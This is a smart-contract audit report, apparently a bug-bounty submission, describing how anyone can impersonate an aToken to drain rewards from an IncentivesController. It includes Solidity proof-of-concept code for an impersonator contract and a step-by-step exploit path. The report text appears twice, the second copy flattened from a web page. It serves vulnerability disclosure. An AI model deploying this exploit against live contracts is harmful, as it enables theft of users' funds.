Github username: @bahurum
Submission hash (on-chain): 0xa2e6ee3d3cf681e9d27a8968aecea25a6ccaae3ce0addf0856ad88ecc9cff19f
Severity: high severity
Description:
Description
In IncentivesController.handleAction() it is not checked properly that msg.sender is indeed a valid aToken. This allows anyone to impersonate an aToken and steal rewards from the IncentivesController.
Attack scenario:
The attacker will deploy a contract like this:
contract aTokenImpersonator {
address public UNDERLYING_ASSET_ADDRESS;
uint64 public _tranche;
address incentivesController;
constructor(address _underlying, uint64 _trancheId, address _ic) external {
// attacker sets underlying and tranche of the aToken impersonated
UNDERLYING_ASSET_ADDRESS = _underlying;
_tranche = _trancheId;
incentivesController = _ic;
}
function steal(
uint256 totalSupply,
uint256 oldBalance,
uint256 newBalance,
) external {
IncentivesController(incentivesController).handleAction(
totalSupply,
oldBalance,
newBalance,
DistributionTypes.Action.WITHDRAW
);
}
function send() external {
uint balance = IERC20(UNDERLYING_ASSET_ADDRESS).balanceOf(address(this));
IERC20(UNDERLYING_ASSET_ADDRESS).transfer(msg.sender, balance);
}
}
assert(userBalance <= assetSupply); // will catch cases such as if userBalance and assetSupply were flipped
DistributionTypes.IncentivizedAsset storage incentivizedAsset = _incentivizedAssets[asset];
The attacker just needs to send totalSupply >= oldBalance to make the assert pass, and then _incentivizedAssets[asset] is an empty struct since asset is the address of the attacker contract itself, so incentivizedAsset.numRewards is zero and the for loop will be skipped.
underlying and trancheId will be the ones corresponding to the impersonated aToken, so stakingData[underlying][trancheId] will be non empty.
Then onWithdraw() will withdraw the rewards corresponding to the underlying and trancheId, and send them to the attacker contract.
The attacker calls aTokenImpersonator.send() to get the stolen rewards out of the aTokenImpersonator contract.
Recommendation
Check that the caller of IncentivesController.handleAction() is indeed an existing aToken. This could be done in ExternalRewardsDistributor.stakingExists() for example:
Github username: @bahurum Submission hash (on-chain): 0xa2e6ee3d3cf681e9d27a8968aecea25a6ccaae3ce0addf0856ad88ecc9cff19f Severity: high severity
Description:
Description
In
IncentivesController.handleAction()
it is not checked properly thatmsg.sender
is indeed a validaToken
. This allows anyone to impersonate anaToken
and steal rewards from theIncentivesController
.Attack scenario:
The attacker will deploy a contract like this:
The attacker then:
Calls
aTokenImpersonator.steal()
aTokenImpersonator
callsIncentivesController.handleAction()
In handleAction(),
_updateIncentivizedAsset()
will execute doing nothing:The attacker just needs to send
totalSupply >= oldBalance
to make theassert
pass, and then_incentivizedAssets[asset]
is an empty struct sinceasset
is the address of the attacker contract itself, soincentivizedAsset.numRewards
is zero and the for loop will be skipped.Then
stakingExists(msg.sender)
will returntrue
for the impersonated aToken:underlying
andtrancheId
will be the ones corresponding to the impersonated aToken, sostakingData[underlying][trancheId]
will be non empty.Then
onWithdraw()
will withdraw the rewards corresponding to theunderlying
andtrancheId
, and send them to the attacker contract.The attacker calls
aTokenImpersonator.send()
to get the stolen rewards out of theaTokenImpersonator
contract.Recommendation
Check that the caller of
IncentivesController.handleAction()
is indeed an existingaToken
. This could be done inExternalRewardsDistributor.stakingExists()
for example: